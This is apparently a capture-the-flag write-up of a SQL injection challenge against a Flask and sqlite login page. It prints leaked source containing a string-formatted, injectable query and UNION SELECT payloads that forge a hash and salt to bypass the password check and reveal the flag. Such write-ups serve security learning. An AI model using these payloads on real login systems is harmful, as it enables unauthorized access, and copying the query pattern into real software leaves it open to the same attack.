There is an login form on the page, and registration is disabled.
1. trying clientname = 'or'1'='1 and any password, we got Invalid password for ' or '1'='1;   trying arbitrary clientname, we got No such user in the database.   So the SQLi obviously works on clientname field, but the password is checked via other means.
2. Now trying clientname=', we got sql error. clicking on the messages we got a piece of code:```    connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))    pointer = connection.cursor()     search = """SELECT id, hash, salt FROM clients               WHERE clientname = '{0}' LIMIT 1""".format(clientname)    pointer.execute(search)     res = pointer.fetchone()    if not res:        return "No such user in the database {0}!\n".format(clientname)    userID, hash, salt = res```
3. Trying clientname=abc' UNION SELECT 1,1,1;--, we got another error, and another piece of page:```    res = pointer.fetchone()    if not res:        return "No such user in the database {0}!\n".format(clientname)    userID, hash, salt = res     calculatedHash = hashlib.sha256(password + salt)    if calculatedHash.hexdigest() != hash:        return "Invalid password for {0}!\n".format(clientname)     flask.session['userID'] = userID    return flask.redirect('/')```   combine 2 and 3, we can have a clear image on the authentication process.
4. Now we can inject our own credentials:   compute hash=hashlib.sha256('1' + '1')   > clientname = ' UNION SELECT 1, hash, '1';--   >    > password = 1   OK. Logged in! But the secret is useless.
5. Remember the notes on the home page? Goutham got a password!   > clientname = ' UNION SELECT id, hash, '1' FROM clients WHERE clientname = '';--   >    > password = 1
   Flag revealed!   > Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"